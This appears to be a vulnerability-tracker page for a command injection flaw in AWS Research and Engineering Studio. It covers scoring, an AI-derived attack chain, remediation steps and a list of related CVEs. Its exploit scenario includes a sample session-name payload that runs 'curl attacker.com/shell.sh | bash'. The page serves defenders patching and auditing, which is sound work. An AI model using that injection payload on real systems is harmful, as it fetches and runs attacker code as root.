Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to AWS RES platform
-
DeliveryCraft malicious session name with OS commands
-
ExploitSubmit session creation request
-
ExecutionOS command injection in session handler
-
ImpactExecute arbitrary commands as root
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires authenticated access to AWS Research and Engineering Studio (RES) versions 2025.03 through 2025.12.01. Attacker must be a logged-in user capable of creating or modifying virtual desktop session names. Arbitrary command execution as root on the virtual desktop host is achieved via crafted session name input. |
| Impact | Real-world risk is HIGH despite no confirmed active exploitation (CISA KEV). The CVSS 8.7 score accurately reflects severe impact: network-accessible (AV:N), low complexity (AC:L), requiring only low privileges (PR:L), with complete confidentiality, integrity, and availability impact on the vulnerable component (VC:H/VI:H/VA:H). Authentication requirement moderately reduces attack surface to authenticated RES users, but many research environments have broad user bases. The low attack complexity and straightforward command injection vector make this highly automatable once weaponized. GitHub issue #151 provides technical context that could accelerate exploit development. From an SSVC perspective: exploitation status is public (technical details available), technical impact is total (root command execution), and automatability is high (command injection primitives are well-understood). The absence of EPSS data prevents probabilistic risk quantification, but the combination of high CVSS, available technical details, and root-level impact on cloud research infrastructure justifies immediate prioritization. Organizations running RES in multi-tenant or sensitive research environments face elevated risk of lateral movement and data exfiltration if exploited. |
| Exploit ScenarioDerived | An authenticated RES user with low-privilege credentials creates a virtual desktop session with a crafted name containing shell metacharacters, such as 'ResearchVM; curl attacker.com/shell.sh | bash #'. When RES processes this session name in backend OS commands without sanitization, the injected payload executes as root on the virtual desktop host. The attacker gains root shell access, installs persistent backdoors, exfiltrates sensitive research data from mounted storage, and pivots to other virtual desktop instances or the RES control plane. The low attack complexity and network accessibility enable rapid propagation across multi-tenant research environments if credentials are compromised or insider threats exist. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 06, 2026
Remote code execution as root in AWS Research and Engineering Studio (RES) versions 2025.03 through 2025.12.01 allows authenticated remote attackers to execute arbitrary OS commands via unsanitized input in virtual desktop session names. The vulnerability stems from improper neutralization of special elements in OS commands (CWE-78 command injection), enabling privilege escalation to root on virtual desktop hosts. Vendor-released patch available in version 2026.03. CVSS 8.7 (High) with network attack vector, low complexity, and low privileges required. No public exploit identified at time of analysis, though the technical details in GitHub issue #151 may facilitate weaponization.
RemediationAI
Upgrade immediately to AWS Research and Engineering Studio version 2026.03 or later, which contains the complete fix for this command injection vulnerability. The patched release is available at https://github.com/aws/res/releases/tag/2026.03. For environments where immediate upgrade is not feasible, AWS has released a mitigation patch applicable to existing RES 2025.x deployments, detailed in GitHub issue https://github.com/aws/res/issues/151. Organizations should review the AWS Security Bulletin at https://aws.amazon.com/security/security-bulletins/2026-014-aws/ for deployment-specific guidance and validation testing procedures. After remediation, audit virtual desktop session names and access logs for indicators of exploitation attempts, focusing on special shell metacharacters in historical session name data. Implement input validation policies for session names as a defense-in-depth measure even post-patch.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability exploits CWE-78 (OS Command Injection) in the virtual desktop session name handling component of AWS Research and Engineering Studio, a cloud-based research computing environment. The affected software fails to sanitize user-controlled input from session names before passing them to underlying operating system commands executed on virtual desktop hosts. In command injection attacks, special shell metacharacters (such as semicolons, backticks, pipes, or command substitution syntax) embedded in untrusted input allow attackers to break out of the intended command context and execute arbitrary system commands. The CPE identifier (cpe:2.3:a:aws:research_and_engineering_studio_(res)) confirms this affects the RES product line specifically. The CVSS vector AV:N/AC:L/PR:L indicates network-accessible exploitation with low attack complexity requiring only low-privilege authentication, making this readily exploitable by any authenticated RES user. The root-level execution capability (implied by 'execute arbitrary commands as root') represents a complete compromise of the virtual desktop host, bypassing normal privilege separation.
Know when AWS gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from Vendor (AMZN) · only source for this CVE.
CVSS VectorVendor: AMZN
Lifecycle Timeline
2DescriptionCVE.org
Unsanitized input in an OS command in the virtual desktop session name handling in AWS Research and Engineering Studio (RES) version 2025.03 through 2025.12.01 might allow a remote authenticated actor to execute arbitrary commands as root on the virtual desktop host via a crafted session name.
To remediate this issue, users are advised to upgrade to RES version 2026.03 or apply the corresponding mitigation patch to their existing environment.
Executive ViewAI
AWS Research and Engineering Studio (RES) versions 2025.03 through 2025.12.01 contain a remote code execution vulnerability allowing authenticated users to execute arbitrary commands with root privileges on virtual desktop hosts. This directly threatens the confidentiality, integrity, and availability of research and computational workloads managed by RES, requiring immediate patching to prevent insider threats and lateral movement within cloud infrastructure.
Apply vendor patch (version 2026.03). If patching is delayed: (1) Restrict RES access to trusted networks via security groups and VPN; (2) implement input validation at application layer to reject special characters in session names; (3) enable CloudTrail logging and VPC Flow Logs to monitor for exploitation attempts; (4) enforce principle of least privilege-configure virtual desktop hosts to run with non-root service accounts where operationally feasible.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Loom for AWS deployments running a version before 1.6.1 with no identity provider configured expose an unauthenticated s
Unauthorized data access in Budibase low-code platform before 3.30.4 allows unauthenticated users to manipulate internal
Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar
Multiple vulnerabilities in ASTPP 4.0.1 including XSS and command injection in SIP device configuration and plugin manag
Remote code execution in Amazon awslabs postgres-mcp-server before 1.1.7 lets remote actors run arbitrary OS commands on
Remote code execution in AWS AgentCore CLI before v0.14.2 allows authenticated attackers to inject Python code via craft
Denial of service in the aws-smithy-json Rust runtime crate (versions before 0.62.7) lets remote unauthenticated attacke
Denial of service in Amazon's aws-smithy-http-server Rust crate (versions prior to 0.66.5) lets remote unauthenticated a
Argument injection in the AWS Bedrock AgentCore Python SDK before 1.18.1 lets a remote authenticated user run arbitrary
Arbitrary file read in amazon-mq rabbitmq-aws before 0.2.1 allows authenticated remote users to read any file accessible
WAF managed-rule body inspection on AWS Application Load Balancer (ALB) can be bypassed by remote actors who fragment an
WAF inspection bypass in Amazon CloudFront (with AWS WAF enabled) lets remote actors smuggle malicious request bodies pa
EUVD-2026-19548
GHSA-gxfh-rxpm-86pc
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB